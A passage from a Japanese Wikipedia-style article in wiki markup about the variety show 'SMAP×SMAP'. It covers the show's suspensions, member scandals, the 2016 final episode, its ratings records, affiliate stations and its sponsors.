「スマスマ」休止でバラエティー特番]</ref>。なお、翌週の11日放送の『ファミスマ』(中居出演)と2015年3月23日放送の『中居正広のISORO』(中居・稲垣出演)はフジテレビの単独制作だった(スポンサーセールスは関西テレビが担当)。しかし、2016年に[[SMAP解散騒動]]が発生してからは「SMAP×SMAP PRESENTS」と題した企画で個人のみでの出演や、[[2015年]]にスタートした[[トーク番組|トーク]][[バラエティ番組]]『[[中居正広のこうして私はやっちゃいました! 神センス☆塩センス!]]』、前年まで水曜日に放送されていた『[[FNSうたの夏まつり]]』や同年に新たに設けた『[[FNSうたの春まつり]]』等の[[特別番組]]が放送される事が増え、年末年始時期や報道特別番組等がなくても月に数回休止される事も多くなった。
なお『笑っていいとも!秋の祭典スペシャル』が土曜日に放送された2006年秋のこの時期は、『[[ドラマレジェンドスペシャル]]』として『[[古畑任三郎|古畑任三郎 vs SMAP]]』と題した、タイトル通りSMAPが出演しているスペシャルドラマの再放送(本放送は1999年1月3日)が行われ、その後も2008年に『ドラマレジェンド』として『世にも奇妙な物語 SMAPの特別編』の再放送(本放送は2001年1月1日)が行われた。
== メンバーの不祥事による番組内容の変更 ==
* 2001年8月24日に、稲垣が放置駐車に端を発した[[道路交通法]]違反(駐車禁止)、[[公務執行妨害]]で現行犯逮捕(結果は公務執行妨害は不起訴、道路交通法違反は罰金刑)されたため、翌週の27日の放送では、本人出演のシーンとロート製薬のオープニングキャッチ、提供クレジットをカットして放送された([[パーティシペーション]]扱い)。その後、予定されていた4回分の放送がお蔵入りとなり、通常の『SMAP×SMAP』としては9月いっぱいは休止。特別編で凌いだ後、10月から2002年1月の新年最初の放送(生放送)までは稲垣以外の4人で放送した。復帰初回は番組史上最高視聴率の'''34.2%'''(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)を記録。番組終盤では、稲垣復帰を記念とした「''稲垣吾郎 復帰 SPECIAL LIVE''」が行われた(「[[ベスト・フレンド (SMAPの曲)|BEST FRIEND]]」「[[SHAKE (SMAPの曲)|SHAKE]]」「[[夜空ノムコウ]]」の3曲を披露)。また、2001年に放送を予定していた4回分におけるコントなどは、翌年に先送りされたものもあった。
* 2009年4月23日に、草彅が[[公然わいせつ罪]]で現行犯逮捕(結果は起訴猶予処分)されたため、翌週の27日の放送では、本人以外のメンバーが登場する映像を集めた特別編を放送した。但し、稲垣が逮捕された時とは異なり、番組提供は通常通り行われ、ロート製薬のオープニングキャッチが通常の提供読みに差し替えられただけになった。同年5月4日以降も「BISTRO SMAP」の放送がなく総集編や特別編で5回分を凌いだ後、草彅が同年5月28日に復帰したことに伴い、同年6月1日放送分から通常構成に戻った。なお、復帰初回の視聴率は2009年に入って最高となる'''22.0%'''(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)を記録。番組冒頭では、草彅復帰を記念とした「''草彅剛 復帰 SPECIAL LIVE''」が行われた(「[[ありがとう (SMAPの曲)|ありがとう]]」「[[SHAKE (SMAPの曲)|SHAKE]]」「[[この瞬間、きっと夢じゃない]]」の3曲を披露)。放送を予定していたVTRは、草彅の復帰後に改めて放送した。
== 最終回 ==
[[2016年]][[12月26日]]の18:30 - 23:18に番組史上最長となる'''288分'''の拡大版として放送され、20年9か月(249か月)・全920回の歴史に幕が下ろされた<ref name="oricon2">{{cite news|url=https://www.oricon.co.jp/news/2082579/full/ |title=『SMAP×SMAP』12月26日最終回は5時間特番「すべてを存分にお届けします」|newspaper=[[ORICON STYLE]]|date=2016-12-05|accessdate=2018-08-18}}</ref><ref>[https://www.daily.co.jp/gossip/2016/12/05/0009727315.shtml スマスマ最終回は5時間特番 生放送かなど詳細未定、交渉継続] デイリースポーツ 2016年12月5日発行、同日閲覧。</ref>。
最終回の内容は、初回放送から現在に至るまでの番組の歴史を'''総集編'''として一挙放送し、SMAPのグループ活動28年間の歴史も紹介された。総集編では、「SMAP×SMAP MEMORIES FILE Final」と題して、主に1996年から2016年の各年度毎に「BISTRO SMAP」や「S-Live」を中心に各ゲストの出演シーンやコント・ゲームコーナーなどを各年のSMAPの曲をBGMにダイジェストで振り返った。基本はダイジェストだが、下記の10個の特別編は長めに放送された。
*森且行 ファイナルステージ(1996年)
*SMAP×SMAP! '97→'98 カウントダウンスペシャル!(1997年)
*[[Let It Be (SMAPの曲)|Let It Be]] プロモゲリラ(1999年)
*稲垣吾郎 復帰LIVE(2002年)
*スマスマ裁判(2002年)
*SMAP×[[マイケル・ジャクソン]](2006年)
*草彅剛 復帰LIVE(2009年)
*いま、僕たちに何ができるだろう(2011年)
*SMAP はじめての5人旅(2013年)
*[[FNS27時間テレビ (2014年)|FNS27時間テレビ]] 27曲45分3秒ノンストップメドレー(2014年)
また、この最終回SPでメンバー5人の生出演はなかった<ref>{{Cite web|和書|url=https://www.sankei.com/article/20161223-CQWLYDMZ5BKEPEZYDSNE7QN3BU/|title=「SMAP×SMAP」26日の最終回も5人の生出演はなし |publisher=[[産経デジタル|産経ニュース]]|date=2016-12-23|accessdate=2016-12-23}}</ref> ものの、一部で[[西山喜久恵]](フジテレビアナウンサー)の進行による生放送パートがあり、視聴者からの[[FAX]]を募集、番組内で随時紹介した。
メンバーからのラストメッセージは直接口頭では無かったが、22:50頃のCM明けに 『'''スマスマ20年、そしてグループ活動28年、みなさまの気持ちに、深く感謝いたします。ありがとうございました。SMAP'''』と画面にメッセージが表示された<ref>{{cite news|url=https://www.oricon.co.jp/news/2083684/full/|title=『スマスマ』SMAPからのメッセージ「みなさまの気持ちに、深く感謝いたします」|newspaper=[[ORICON STYLE]]|date=2016-12-05|accessdate=2016-12-05}}</ref>。メッセージが表示された直後から「'''SMAP 28年の奇跡'''」と題して、グループ結成から今に至るまでのSMAPの28年間の歴史が、「[[Triangle (SMAPの曲)|Triangle]]」「[[負けるなBaby! 〜Never give up|BEST FRIEND]]」のオルゴールバージョンに乗せてスライドショーされた。
番組終盤では、「SMAP 28年の奇跡」のラスト・『FNS27時間テレビ』での集合写真が映された後、色鮮やかな花が敷き詰められた立体番組ロゴをバックに、唯一の新たに収録した場面である5人揃っての「'''SMAPラストステージ'''」となった「[[世界に一つだけの花]]」の歌唱が放送された<ref>{{cite news|url=https://www.daily.co.jp/gossip/2016/12/27/0009784720.shtml|title=中居涙…SMAPバイバイ 5人でスマスマ最後に「世界に一つだけの花」|date=2016-12-27|newspaper=デイリースポーツ|accessdate=2016-12-27}}</ref><ref>{{Cite web|和書|url=https://www.sponichi.co.jp/entertainment/news/2016/12/23/kiji/20161223s00041000198000c.html|title=SMAP 紅白正式辞退を発表 26日「スマスマ」がラストステージ |publisher=[[スポニチアネックス]]|date=2016-12-23|accessdate=2016-12-23}}</ref><ref group="注">同年12月1日に収録された。</ref>。歌唱が終わるとメンバー全員で約90秒間深々とお辞儀をし、「世界に一つだけの花」のオルゴールバージョンと共に白い幕が下され、幕が閉まると番組のロゴとメンバーカラーである五色の花が飾られたマグカップが映された<ref>{{Cite web|和書|url=https://www.daily.co.jp/gossip/2016/12/26/0009782018.shtml|title=「スマスマ」最終回 ラストメッセージなし 番組打ち上げにメンバー集合予定なし |publisher=[[デイリースポーツ]]|date=2016-12-26|accessdate=2016-12-26}}</ref>。そのあとスタッフからの鳴り止まぬ拍手とお辞儀をした後のメンバーの姿が映し出され、そのままスタッフロールへと移った。
エンディングのスタッフロールではデビュー曲「[[Can't Stop!! -LOVING-]]」をBGMに、メンバーがスタッフ1人ずつと記念撮影をしている映像が放映された。その後、生放送パートのスタジオ内に貼られた視聴者からのFAXをバックに画面下部に「'''たくさんの「ありがとう」をありがとうございました。'''」というテロップを表示した。そして、通常通り東日本大震災・熊本地震災害義援金の告知を放送した後、最後は番組開始当初のオープニングタイトルCGを放送して番組は終了し、約20年9か月の放送の歴史に終止符を打った<ref>{{cite news|url=https://news.livedoor.com/article/detail/12467804/|title=
SMAP最終回も義援金告知、貫いた偉大な15秒|date=2016-12-26|newspaper=日刊スポーツ|accessdate=2016-12-26}}</ref>。
なお[[クロスネット局|クロスネット]]局の関係上同時ネットされなかった局のうち、[[テレビ大分]]では翌日未明1:00 - 早朝5:48(当日深夜)に時差ネット(330分遅れ)で放送された。[[テレビ宮崎]]では、SMAPの解散日である31日の12:00 - 16:50に放送された<ref>[https://www.sponichi.co.jp/entertainment/news/2016/12/27/kiji/20161227s00041000110000c.html 宮崎県民に朗報 スマスマ最終回 同時ネットせずも31日放送] スポーツニッポン 2016年12月27日</ref>。さらに番組末期まで系列外遅れネットしていた日本テレビ系列局[[青森放送]]でも31日未明・早朝0:59 - 5:47(30日深夜)に放送された<ref group="注">なお、青森放送では最終回翌日未明2:00 - 3:15(当日深夜)にフジテレビ系列で前週19日に放送された回(第919回)が放送された。</ref>。
=== 番組終了に伴う芸能界からの反応 ===
番組の放送中や放送後には、SMAPと縁が深い芸能人や番組にゲスト出演したことがある芸能人などが[[Twitter]]や[[ブログ]]などでSMAPの解散と番組の終了を惜しむ声が挙がっており、芸能界からの悲痛の声も多かった。
=== ソフトバンクのスペシャルCM ===
番組後半には、かつてSMAPがCMに出演していた[[ソフトバンク]]による1分間のスペシャルCMが放映された<ref name="oricon208">{{cite news|url=https://www.oricon.co.jp/news/2083680/full/|title=『スマスマ』ソフトバンク“新作”CMに感動の声続々「どんだけSMAP愛されてるの…」|date=2016-12-26|newspaper=ORICON STYLE|accessdate=2016-12-28}}</ref>。内容は、「[[オリジナル スマイル]]」をBGMに、過去にSMAPが出演していたCM映像の本編やメイキング映像をダイジェスト形式にて編集し、途中には「あんなことや」「こんなこと」「いろいろしていただきました」「今まで」「本当に」「ありがとう。」とメッセージが挿入され、最後にソフトバンクのCMキャラクターである[[白戸家|お父さん(白戸次郎)]]([[カイくん]]、声・[[北大路欣也]])がしんみりとした表情で「さよならじゃ、ないよな?」と語りかけてCMを締めた(その際、SMAPが出演した際のキャッチコピーである『SMAP→Softbank』のSMAPとSoftbankを逆転させた『Softbank→SMAP』のテロップも表示された)<ref name="oricon208" /><ref>{{Cite web|和書|url=https://www.nikkansports.com/entertainment/news/1757154.html|title=スマスマ合間にSMAP「ソフトバンク」特別編CM|publisher=[[日刊スポーツ]]|date=2016-12-26|accessdate=2016-12-27}}</ref>。同社の広報室によると、契約は昨年で終了していることから、今回は所属事務所、テレビ局と一日限定の契約を結び、放送が実現した。このため今後、今回のCMが再放送ならびに公式サイト等での公開はされることはないという<ref>[https://www.sponichi.co.jp/entertainment/news/2016/12/27/kiji/20161227s00041000088000c.html ソフトバンク SMAP特別CMへの思い 1本限りの再契約 再放送なし] スポーツニッポン 2016年12月27日</ref>。
なお、終了から7年後の[[2023年]]にはお父さんの言葉通り、中居が同社のCMに復帰(「チチンペイペイ」シリーズ、[[劇団ひとり]]との共演)。このCMではお父さんが「待ってました!」と特別CMを思わせる台詞を発している。
=== 視聴率 ===
第1部(18:30 - 19:00)は'''14.1%'''、第2部(19:00 - 22:00)は'''17.4%'''、第3部(22:00 - 23:18)は'''23.1%'''で有終の美を飾った(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)<ref>[https://www.sponichi.co.jp/entertainment/news/2016/12/27/kiji/20161226s00041000164000c.html スマスマ最終回視聴率は23.1%] Sponichi Annex 2016年12月27日発行、同日閲覧。</ref><ref name="mnn1227">{{cite news|url=https://news.mynavi.jp/article/20161227-a066/ |title=『SMAP×SMAP』最終回視聴率、ラストステージ時間帯23.1%・瞬間最高27.4%|date=2016-12-27|newspaper=マイナビニュース|accessdate=2018-08-18}}</ref>。また、瞬間最高視聴率は23:07のSMAPがメンバー5人でラストの歌唱となった「世界に一つだけの花」を歌い終えて、5人がお辞儀をし中居が背を向けて両手で何度も涙を拭う姿が映し出されたシーンの'''27.4%'''(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)だった<ref name="mnn1227" />。ちなみに地方でも軒並み高視聴率を記録し、関西地区で第1部が16.9%、第2部が20.6%、第3部は24.1%を記録し、瞬間最高視聴率は関東と同じ時間に27.5%を記録している。
=== 番組終了後 ===
当番組最終回放送後の[[2017年]][[1月7日]]に放送された『[[めちゃ×2イケてるッ!|めちゃ{{sup|2}}イケてるッ! 勝ち負けだけじゃねえ 新春大仰天スペシャル]]』に中居が出演し、同番組ゲストの[[ゆず (音楽グループ)|ゆず]]とのトークの際、めちゃイケメンバーの[[矢部浩之]]([[ナインティナイン]])から「スマスマの最終回とか、感動的やったもん」と労われると、中居は「あの日、今まで一番繊細に何回も(音程を)当てにいったんだけど、ひとつも当たんなかった」と冗談交じりに語った。なお『めちゃイケSP』の収録は最終回放送からわずか2日後の[[12月28日]]に行われた<ref>{{Cite news|url=https://www.oricon.co.jp/news/2084263/full/|title=中居正広、スマスマ最終回の熱唱を回顧 岡村隆史のイジりに笑顔でビンタ|work=ORICON STYLE|agency=オリコン|date=2017-01-07|accessdate=2017-01-08}}</ref>。
[[2020年]][[9月19日]]、番組のコントレギュラーであった俳優の[[斎藤洋介]]が死去。香取・草彅・稲垣から追悼のコメントが寄せられた<ref>{{Cite news|url=https://www.oricon.co.jp/news/2172521/full/|title=新しい地図、斎藤洋介さん追悼 香取「スマスマのコントでは一緒に笑い、沢山助けて頂きました」|work=ORICON STYLE|agency=オリコン|date=2020-09-21|accessdate=2020-10-06}}</ref>。
== 視聴率 ==
[[視聴率]]は断りのない限り、[[ビデオリサーチ]]調べ、[[関東地方|関東地区]]・世帯・リアルタイム。
初回(1996年4月15日)から最終回(2016年12月26日)までの全920回において、歴代トップは'''34.2%'''(2002年1月14日)、歴代ワーストは'''6.4%'''(2016年11月14日)、全回の平均視聴率は'''18.2%'''となった<ref>[https://www.oricon.co.jp/news/2083692/full/ スマスマ最終回、視聴率は23.1% 瞬間最高視聴率は27.4%] ORICON NEWS 2016年12月27日発行、2017年1月16日閲覧。</ref>。
以下、歴代視聴率'''TOP20'''を記載。放送開始以来、[[1990年代]]・[[2000年代]]・[[2010年代]]のそれぞれの各年代で、高視聴率を獲得している。'''放送日'''の太字はその年のフジテレビの最高視聴率。
{| class="wikitable" style="font-size:9pt"
!順位!!放送日!!視聴率!!サブタイトル・内容
|-
!style="text-align:center"|1
||2002年1月14日||{{Color|red|'''34.2%'''}}
||『SMAP×SMAP '02 緊急生放送!今夜5人そろってスマップが出演します。』
* ビデオリサーチ「芸能・バラエティ」部門の史上高視聴率番組・第7位を記録。
* 瞬間最高視聴率は'''39.0%'''(22:55)。
* 稲垣吾郎が約7ヶ月ぶりに番組に復帰した回。
|-
!style="text-align:center"|2
||'''1999年7月12日'''||{{Color|red|'''33.5%'''}}||
* 「BISTRO SMAP」に[[宇多田ヒカル]]がゲスト出演。1990年代並びに通常放送としての番組最高視聴率の回。
|-
!style="text-align:center"|3
||2002年1月21日||{{Color|red|'''31.7%'''}}
||『SMAP×SMAP '02 BISTRO SMAP 訳あってボツになったSP』
* 稲垣の事件に伴いその間放送できなかった「BISTRO SMAP」を2本立てで放送。
|-
!style="text-align:center"|4
||'''2016年1月18日'''||{{Color|red|'''31.2%'''}}||『SMAP×SMAP 緊急生放送 SMAP解散報道を語る』(22:15 - 23:09)
*[[SMAP解散騒動|グループに関する騒動]]が[[スポーツ新聞]]等で連日報道されたことに伴い、急遽放送内容を一部変更し、番組冒頭メンバー全員が生放送にて騒動に関して謝罪した<ref group="注">テレビ大分では遅れネットのため、翌々日未明(翌日深夜)に'''「この番組は関西テレビで昨日放送されたものです。」'''とテロップを入れて放送した。テレビ宮崎でも同じように[[1月29日]]未明(28日深夜)に'''「この番組は1月18日にフジテレビで放送したものです。」'''というテロップを入れて放送した。また、青森放送では放送回を入れ替えて対応した。テレビ山口・テレビ山梨がどう対応したかは不明。</ref>。
* その後は事前収録した「BISTRO SMAP」を放送。なお、「BISTRO SMAP」以外の当初放送予定だった別コーナーや「S-Live」はこの日は放送取り止めになり、先送りとなった。
* 瞬間最高視聴率は'''37.2%'''。当番組で平均視聴率30%超えは上記第3位の2002年1月21日放送分の31.7%以来の14年ぶりである。
*2016年はフジテレビ全体の視聴率が低迷していたが、この回は[[第67回NHK紅白歌合戦|紅白歌合戦]]に次ぐ年間視聴率3位にランクインした。
|-
!style="text-align:center"|5
||'''2000年11月27日'''||{{Color|red|'''30.0%'''}}||
* 放送前日に木村拓哉の結婚報道が伝えられたが、放送の中でこの件に触れられることはなかった。
|-
!style="text-align:center"|6
||'''2001年3月19日'''||{{Color|red|'''29.6%'''}}
||「BISTRO SMAP 総集編」
* オーナーである中居正広が料理に挑戦し普段料理をしている木村拓哉、稲垣吾郎、草彅剛、香取慎吾をお客様としてもてなした。
|-
!style="text-align:center"|7
||'''1996年5月27日'''||{{Color|red|'''29.5%'''}}||この回で森が卒業。引退前の最後のテレビ出演となった。
*
|-
!style="text-align:center"|8
||'''1997年9月15日'''||{{Color|red|'''29.4%'''}}
||『SMAP×SMAP 秋まで待てない15分拡大スペシャル』(22:00 - 23:09)
|-
!style="text-align:center"|9
||2001年2月12日||{{Color|red|'''29.0%'''}}||
*
|-
!style="text-align:center"|10
||2001年2月19日||{{Color|red|'''28.1%'''}}||
*
|-
!style="text-align:center"|11
||2001年1月8日||{{Color|red|'''28.0%'''}}
||『SMAP×SMAP'01新春S1生グランプリ』
|-
!style="text-align:center"|12
||2000年12月11日||{{Color|red|'''28.0%'''}}||
*
|-
!style="text-align:center"|13
||2001年1月22日||{{Color|red|'''27.7%'''}}||
*
|-
!style="text-align:center"|14
||2000年12月18日||{{Color|red|'''27.4%'''}}
||『SMAP×SMAP'00 20世紀のスマスマ初回からドーンと見せます Best30スペシャル』
|-
!style="text-align:center"|15
||2000年12月25日||{{Color|red|'''27.2%'''}}
|
|-
!style="text-align:center"|16
|2001年2月5日||{{Color|red|'''27.1%'''}}
|
|-
!style="text-align:center"|17
||1997年12月31日||{{要出典範囲|{{Color|red|'''27.0%'''}}|title=第1部の数値か第2部の数値か判然としない。|date=2017年4月}}
|| 『SMAP×SMAP! '97→'98 カウントダウンスペシャル!』(第1部 19:00- 20:00、第2部 23:45 - 翌0:45)
* 第1部は1997年に放送された番組の総集編(事前収録)。
* 第2部は生放送で、翌1998年へのカウントダウンと10万個ドミノを実施。なお、中居は当日に『[[第48回NHK紅白歌合戦]]』の白組司会を務めていた関係で途中参加となり、<br />渋谷・NHKからお台場・フジテレビにリムジンバスで向かう様子を随時生中継(しかし、渋滞の為途中でバイクに乗り換えた)。中居の不在時は木村が司会を担当した。<br />中居は番組終盤の「[[夜空ノムコウ]]」歌唱中に到着。
* 新年からドタバタの生放送だったこの回の視聴率は年越しバラエティ番組の歴代最高記録となった。
|-
!style="text-align:center"|18
||2004年1月12日||{{Color|red|'''26.9%'''}}
||『SMAP×SMAP'04 緊急生企画! 新春からこんなことやっちゃいますスペシャル!』(22:15 - 23:24)
|-
!style="text-align:center"|19
||2001年3月5日||{{Color|red|'''26.7%'''}}||
|-
!style="text-align:center"|20
||'''2006年3月13日'''||{{Color|red|'''26.6%'''}}||
|}
番組の全盛期は1996年 - 2001年頃であり、同時間帯でトップになることはもちろんのこと、25%以上の高視聴率を記録することも珍しくなかった。年間平均視聴率は23%に達し、一種の社会現象と化していた。
当時の[[裏番組]]であった[[よみうりテレビ制作月曜10時枠連続ドラマ|読売テレビ制作の連続ドラマ]]は本番組開始後視聴率が一桁を記録する作品が増え、中には放送回数を短縮して[[打ち切り]]に追い込まれた作品も存在する。当時のドラマスタッフも「'''何をやってもスマスマにはかなわないと制作陣も半ばあきらめていた'''」と証言するなど<ref>{{Cite web|和書|url=https://www.jprime.jp/articles/-/18746?page=3|title=ゴールデンで視聴率2.8%、大コケを表す“レガる”の語源…「打ち切りドラマ」列伝|work=[[週刊女性]]|publisher=[[主婦と生活社]]|date=2020-09-05|accessdate=2020-09-06}}</ref>、番組の影響力の大きさをうかがえる。その後、ドラマ枠は2004年3月に廃止となった。
一方、2008年以降は『[[しゃべくり007]]』([[日本テレビ放送網|日本テレビ]]制作)と競合するようになり、2010年代以降は視聴率で『しゃべくり』に逆転され、解散騒動後は一桁に転落する回が多くなった。
== ネット局 ==
=== 放送終了時点 ===
{|class="wikitable" style="font-size:small; width:850px"
!放送対象地域!!放送局!!系列!!放送日時!!ネット状況!!脚注
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|[[広域放送|近畿広域圏]]||[[関西テレビ放送|関西テレビ]](KTV)||rowspan=26|[[フジネットワーク|フジテレビ系列]]||rowspan=26|[[月曜日|月曜]] 22:00 - 22:54||rowspan=2|'''共同制作局'''||rowspan=6|
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|[[広域放送|関東広域圏]]||[[フジテレビジョン|フジテレビ]](CX)
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|[[北海道]]||[[北海道文化放送]](UHB)||rowspan=24|同時ネット
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|[[岩手県]]||[[岩手めんこいテレビ]](mit)
|-
|[[宮城県]]||[[仙台放送]](OX)
|-
|[[秋田県]]||[[秋田テレビ]](AKT)
|-
|[[山形県]]||[[さくらんぼテレビジョン|さくらんぼテレビ]](SAY)||<ref group="注">1997年4月放送開始。</ref>
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|[[福島県]]||[[福島テレビ]](FTV)||rowspan=12|
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|[[長野県]]||[[長野放送]](NBS)
|-
|[[新潟県]]||[[NST新潟総合テレビ|新潟総合テレビ]](NST)
|-
|[[富山県]]||[[富山テレビ放送|富山テレビ]](BBT)
|-
|[[石川県]]||[[石川テレビ放送|石川テレビ]](ITC)
|-
|[[福井県]]||[[福井テレビジョン放送|福井テレビ]](FTB)
|-
|[[静岡県]]||[[テレビ静岡]](SUT)
|-
|[[広域放送|中京広域圏]]||[[東海テレビ放送|東海テレビ]](THK)
|-
|[[鳥取県]]<br/>[[島根県]]||[[山陰中央テレビジョン放送|山陰中央テレビ]](TSK)
|-
|[[岡山県]]<br/>[[香川県]]||[[岡山放送]](OHK)
|-
|[[広島県]]||[[テレビ新広島]](TSS)
|-
|[[愛媛県]]||[[テレビ愛媛]](EBC)
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|[[高知県]]||[[高知さんさんテレビ]](KSS)||<ref group="注">1997年4月にテレビ高知から移行。</ref>
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|[[福岡県]]||[[テレビ西日本]](TNC)||rowspan=6|
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|[[佐賀県]]||[[サガテレビ]](STS)
|-
|[[長崎県]]||[[テレビ長崎]](KTN)
|-
|[[熊本県]]||[[テレビ熊本]](TKU)
|-
|[[鹿児島県]]||[[鹿児島テレビ放送|鹿児島テレビ]](KTS)
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|[[沖縄県]]||[[沖縄テレビ放送|沖縄テレビ]](OTV)
|-
|[[大分県]]||[[テレビ大分]](TOS)||[[日本テレビネットワーク協議会|日本テレビ系列]]<br />フジテレビ系列||[[水曜日|水曜]] 0:54 - 1:49(火曜深夜)||rowspan=4|遅れネット||<ref group="注">2009年4月より金曜19:00から移動。スペシャル時は休日に放送することがあった。移動前は月曜放送分が15分拡大の場合、過去に未放送、もしくは再放送だった分を放送していた。</ref>
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|[[宮崎県]]||[[テレビ宮崎]](UMK)||フジテレビ系列<br />[[日本ニュースネットワーク|日本テレビ系列]]<br />[[オールニッポン・ニュースネットワーク|テレビ朝日系列]]||[[金曜日|金曜]] 0:54 - 1:51(木曜深夜)||<ref group="注">2008年6月までは月曜19:00 - 19:55、2010年3月までは日曜14:00 - 14:55、2010年7月までは水曜0:29 - 1:24(火曜深夜)、2013年3月までは金曜0:40 - 1:35(木曜深夜)、2013年9月までは金曜0:53 - 1:50(木曜深夜)に放送。</ref>
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|[[青森県]]||[[青森放送]](RAB)||日本テレビ系列||[[日曜日|日曜]] 13:10 - 14:05||<ref group="注">[[日本テレビ放送網|キー局]]のスポーツ中継(サッカーやマラソン・駅伝)がある場合は、放送時間繰り下げや[[土曜日]]の午後に放送日が変更された。また、2016年12月19日放送の85分拡大SPは、7日遅れの12月27日(26日深夜)2:00 - 3:25に、最終回SPは、4日遅れの12月31日(30日深夜)0:59<!---東奥日報2016年12月30日朝刊青森放送テレビ欄。これに「(深夜)0:59 SMAP×SMAP最終回SP」とある。---> - 5:50の放送となった。<!---RABホームページ及びYAHOO!テレビの番組表から---></ref>
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|[[山梨県]]||[[テレビ山梨]](UTY)||[[ジャパン・ニュース・ネットワーク|TBS系列]]||[[土曜日|土曜]] 16:00 - 16:54||
|}
=== 過去 ===
{|class="wikitable" style="font-size:small; width:850px"
!放送対象地域!!放送局!!系列!!放送期間!!脚注
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|[[徳島県]]||[[四国放送]](JRT)||日本テレビ系列||番組開始 - 2010年6月||
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|高知県||[[テレビ高知]](KUTV)||rowspan=2|TBS系列||番組開始 - 1997年3月||<ref group="注">高知さんさんテレビ開局のため同局に移行。</ref>
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|[[山口県]]||[[テレビ山口]](tys)||不明 - 2016年9月||<ref group="注">2008年9月までは土曜 19:00 - 19:56。この頃はキー局[[TBSテレビ|TBS]]の同時間帯の番組が19:00からの2時間特番編成となる時、それをネットしなければならなくなるため、休止状態になることが多かった。2008年10月から2010年3月までは火曜 15:55 - 16:50に放送された。2010年3月29日から月曜 23:59 - 翌0:54に移動し、その後も放送曜日を変えずに数分程度放送時間を繰り上げ・繰り下げしつつ、放送を行ってきたが、2016年9月26日を以てネット打ち切り。</ref>
|}
=== 備考 ===
* HD対応になった2006年10月からは番組冒頭、画面右上に「Hi-Vision ハイビジョン制作」と「字幕放送」の[[スーパーインポーズ (映像編集)|テロップ]]が入っていたが、2008年7月24日から「アナログ」表記が開始されたこと伴い、[[NTSC|地上アナログ放送]]では(同時ネット局での)2008年7月28日放送分より、番組冒頭、画面右上に「アナログ」と「字幕放送」のテロップが入る<ref group="注">2009年からは本編放送中の常時「アナログ」表示開始にともない、「字幕放送」のテロップのみ表示される。オープニングキャッチは本編として扱われ、本編と同じく、右上には「アナログ」が表示される。</ref>。なお、字幕放送のテロップは当初アナログ放送とデジタル放送で表示するデザイン・消去パターンが異なっていた。これは当時、関西テレビの送出マスターがアナログとデジタルで別々に置かれていたため(消去時はアナログはカットアウト、デジタルはフェードアウト)であったが、2009年7月14日のアナログ・デジタル統合マスター更新後は表示するデザイン・消去パターンもアナログ・デジタルとも同じものとなった。
* [[福井テレビジョン放送|福井テレビ]]では最初の半年間は時差ネット<ref group="注">おおむね土曜日の午後時間帯で、ロート製薬のオープニングキャッチもなかった。</ref><ref group="注">元々[[毎日放送]]制作の遅れネット枠だった。</ref>だったが、特番での臨時同時ネットがあまりにも好評だったことが功を奏したのか、立ち上げ半年後の1996年10月改編から同時ネットに移行した<ref group="注">同時にスポンサーも全国共通に改められ、ロート製薬のオープニングキャッチも行われるようになった。</ref>。
== スポンサーとCM営業の歴史 ==
前述の通り、当番組は関西テレビとフジテレビの共同制作だが、スポンサーに対する営業は関西テレビが全面的に担当する。関西テレビでは立ち上げにあたり、当番組以前の水曜→月曜→火曜22時台バラエティ枠(『三枝の愛ラブクリニック→[[三枝の愛ラブ!爆笑クリニック]]』→『[[ひらけ!GOMA王国]]』)における営業スタンスを原則引き継いだため、前後半でスポンサーが交代する形を取っている。{{main|三枝の愛ラブ!爆笑クリニック#スポンサー}}
放送開始から2010年3月までは、前半が[[ロート製薬]]の[[一社提供]]、後半は[[プロクター・アンド・ギャンブル・ジャパン|P&G]]筆頭の複数社提供というスタイルだった。これは、ロートが加盟している[[日本製薬工業協会]]の自主規制により、[[処方箋医薬品|医家向け医薬品]]・[[一般用医薬品|大衆薬]]メーカーの一社提供が30分枠までとされていたためである<ref group="注">フジテレビ系列では[[1972年]]4月開始の『[[夜のグランドショー]]』で初めて行われ、関西テレビとしては1975年の『[[おくにじまんスター自慢]]』から維持されていた。他系列では『[[ザ!鉄腕!DASH!!]]』([[日本テレビ放送網|日本テレビ]])、『[[さんまのSUPERからくりTV]]』([[TBSテレビ|TBS]])などが同様のスタイルを採った。</ref>。同年4月でロート製薬が同時間帯の筆頭スポンサーを降板し、同社を含む複数社提供となったが、前後半ですべて途中で交代するというスタイルは放送開始以来変わっていない。2016年9月をもってロート製薬がスポンサーを降板。なお、スポンサー枠は、2016年10月から始まった[[関西テレビ制作・火曜夜9時枠の連続ドラマ|火9ドラマ]]の[[カウキャッチャー (放送)|カウキャッチャー]]に移行した。{{main|ミュージックフェア#30分番組の理由|ロート製薬#テレビ提供番組の遍歴}}
スポンサークレジットの表示は関西テレビが担当し、提供読みについては通常は関西テレビ側が「ご覧のスポンサーの提供でお送りします(しました)」、フジテレビ側は「この番組は(P&Gと)ご覧のスポンサーの提供でお送りします(しました)」である。ただし、[[2007年]]と2010年の正月スペシャルや、2016年12月26日放送の最終回スペシャルのように番組配信・スポンサークレジットの表示・提供読みもフジテレビが担当するという例外もある。
なお、前半がロート一社提供だった時代には、番組の冒頭で同社のオープニングキャッチも放送されていた。ただし[[福井テレビ]]では最初の半年間は遅れネットでかつローカルセールスだったため、また[[福島テレビ]]は立ち上げから同時ネットだったが最初の1年間のみ[[番組販売|番販ネット]]扱いで放送され、共にロートのオープニングキャッチを流さなかったことがある。この時、福島テレビ放送分のスポンサーに就いたのは[[郡山市]]に本社を置く冠婚葬祭業[[ホテルハマツ|はまつグループ]]で、'''はまつアワー'''のサブタイトルがあった。送り出しも事前に関西テレビ・フジテレビから番組素材を受け取り自社で行い、他局でロート製薬から他社にスポンサーが切り替わる部分の提供ベースに、はまつグループのロゴを表示していた<ref group="注">後にはまつアワーは自社制作番組である[[弦哲也のFTVカラオケグランプリ]]に移行した。
</ref>。これら2局でロート製薬のオープニングキャッチをどう差し替えていたかは不明。{{main|ロート製薬#オープニングキャッチ}}
== スタッフ ==
* 構成:[[鶴間政行]]、[[舘川範雄]]
* 作家:[[石原健次]]、[[鈴木おさむ]]、[[大井洋一]]
* ナレーター:[[増田晋 (ナレーター)|増田晋]]、[[川端健嗣]](フジテレビ[[アナウンサー]]→[[BSフジ]]広報局専任局長)、[[DJ.ナイク|DJナイク]]、[[井上美紀]]<!--[[松本大 (声優)|]]、[[北沢力]]、[[田中秀幸 (声優)|田中秀幸]]、[[佐藤聡美]](不定期)、[[バッキー木場]](不定期)、[[前田愛 (声優)|前田愛]](一時期)-->
* 振り付け:JUN
* スタイリスト:黒澤彰乃
